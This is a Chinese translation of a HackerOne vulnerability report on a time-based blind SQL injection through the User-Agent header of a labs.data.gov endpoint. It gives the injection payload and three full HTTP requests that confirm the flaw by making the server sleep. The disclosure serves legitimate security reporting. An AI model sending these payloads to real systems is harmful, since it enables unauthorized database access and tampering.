0x00漏洞信息
披露者:harisec
危害程度:高危
漏洞類型:sql注入
0x01漏洞介紹
通過訪問:
https://labs.data.gov/dashboard/datagov/csv_to_json抓包在user-agent頭在中進行SQL注入
我沒有從數據庫中提取任何數據,我已經使用sleep函數 SQL查詢確認了該漏洞。該命令與算術操作相結合,將導致服務器響應不同的時間取決于算術運算的結果。
例如,將該值設置:
Mozilla/5.0 (windows NT 6.1; WOW64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
到User-Agent頭部將導致服務器延遲響應25(5×5)秒。
要重現,請發送以下HTTPS請求:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR' X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
服務器將在25(5 * 5)秒后響應-與User-Agent:標頭的值相同。
現在,讓服務器立即響應。我們將發送值sleep(5 * 5 * 0),它等于0。
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
服務器立即響應為5 * 5 * 0 = 0。
讓我們通過另一個請求進行確認:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
這次,有效負載包含6 * 6-30,等于6。服務器在6秒鐘后響應。
這些只是我嘗試確認此問題的帶有各種算術運算的SQL查詢中的一些。
0x02漏洞影響
攻擊者可以操縱發送到MySQL數據庫的SQL語句,并注入惡意SQL語句。攻擊者可以更改對數據庫執行的SQL語句的命令。
翻譯自hackerone